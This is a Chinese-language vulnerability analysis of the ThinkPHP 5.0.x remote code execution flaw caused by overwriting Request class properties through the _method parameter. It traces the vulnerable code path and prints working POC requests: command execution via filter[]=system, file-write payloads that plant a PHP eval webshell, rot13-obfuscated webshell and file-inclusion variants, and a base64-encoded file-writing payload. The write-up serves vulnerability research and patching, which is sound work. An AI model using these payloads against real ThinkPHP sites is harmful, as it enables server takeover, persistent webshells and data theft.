ThinkPHP5核心Request类导致的RCE

简介

Thinphp团队在实现框架中的核心类Requestsmethod方法实现了表单请求类型伪装,默认为$_POST['_method']变量,却没有对$_POST['_method']属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。

影响版本

  • 5.0.0<=ThinkPHP<=5.0.23
  • 5.1.0<=ThinkPHP<=5.1.31

本文中分析以5.0为例,主要分为两种

  • 5.0.0<=ThinkPHP<=5.0.12
  • 5.0.13<=ThinkPHP<=5.0.23

在低版本中不存在利用上的限制,

在高版本中需要开启debug或者存在验证码的路由

POC

5.0.0<=ThinkPHP<=5.0.12

无限制

1
2
POST /?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system

5.0.13<=ThinkPHP<=5.0.23

需要路由

1
2
POST /?s=captcha/calc
_method=__construct&filter[]=system&method=GET

漏洞分析

低版本分析

5.0.10为例

代码流程

首先在开启debug的时候会直接在下面的箭头处触发RCE,这里我们先把debug关掉

1618395954257

跟进routeCheck方法

这里会调用Route类得check方法

1618396027476

跟进check方法

这里会调用Request类的method方法

1618396097386

跟进method方法

通过POST接受一个参数,这个接受的参数名为_method,根据接受到的参数值,取调用方法

核心漏洞点就是这个,由于没有对参数进行限制导致可以调用__construct,初始化filter变量

1618396143810

跟进__construct方法

1618396242500

但此时注意,这只是设置了filter的值,还需要取调用

最终导致RCE的位置在filterValue

1618400498451

此方法被input方法调用,input方法被多个方法调用

1618400576066

可以看到,如果开启debug的情况下,直接就可以在1处触发RCE

1618400676878

但在未开启的情况下,需要跟进exec方法

在此方法中调用了module方法

1618400733497

在module中会加载控制器

1618400811405

controller方法中会反射一个类

1618400882040

在invokeClass方法中调用了bindParams方法

1618401032165

最终调用param方法触发RCE

1618401059463

调用堆栈

1618401085659

复现

1618401208758

高版本分析对比

5.0.20为例

代码分析

为什么,在不开debug的时候无法利用呢?

刚刚我们知道,在apprun方法调用routeCheck方法设置了filter的值

然后调用exec,继而调用module方法,最终出发了RCE

这个过程中,未对我们设置的filter进行处理

但是在较高版本中的module方法中

在调用Loader加载控制器之前对filter进行了置空操作

1618401711328

为什么存在验证码路由的时候可以呢?

既然module行不通,那就换其他的分支,比如controller或者method

1618402563109

那么这个type值怎么才能是这个呢

全局搜索

1618402641255

查看调用

1618402750486

继续跟进

可以看到是在Route的check方法中调用的

1618402786727

如果存在这个路由别名,就可以了,但是我的测试环境不存在,就不加了,主要知道为什么就好

$roules为空的时候一切免谈

扩展利用

其实到目前为止已经存在很多的利用方式

比如,调用\think\__include_file或者调用Langload方法取文件包含

或者一些其他的关于文件写入的

这里提几个payload

调用Build类的module方法写文件

产生错误

poc

1
2
3
POST /index.php?s=captcha

_method=__construct&filter[0]=think\Build::module&filter[1]=error_reporting&method=GET*get[0]=../public/0&get[1]=a;"/../../public/123".phpinfo();//

访问地址

127.0.0.1/123".phpinfo();/controller/Index.php

不产生错误

poc

1
2
3
POST /index.php?s=captcha

_method=__construct&method=GET&server[]=1&filter[]=think\Build::module&get[]=index//../../public//?><?php eval($_GET[a]);?>

访问地址

127.0.0.1/%3f><%3fphp eval($_GET[a]);%3f>/controller/Index.php?a=phpinfo();

php过滤器+rot13绕过

poc1

1
b=../public/./<?cuc riny(trgnyyurnqref()["pzq"]);?>&_method=__construct&filter=think\Build::moudle&a=1&method=GET

poc2

1
b=php://filter/read=string.rot13/resource=./<?cuc riny(trgnyyurnqref()["pzq"]);?>/controller/Index.php&_method=__construct&filter=think\__include_file&a=1&method=GET

代码执行

这个个人比较喜欢

具体就是调用set_error_handler重置了框架的异常处理函数,返回值不可控的情况下调用Requestpath函数

在初始化的时候通过postpath传参重置了$this->path变量,导致调用path方法的返回值成为可控值

poc

1
2
3
POST /index.php?s=captcha&g=implode

path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3N1cHBwLnBocCcsJ3N1cGVyIGd1ZXNzc3NlcnMnKTsgPz4=&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET

end

参考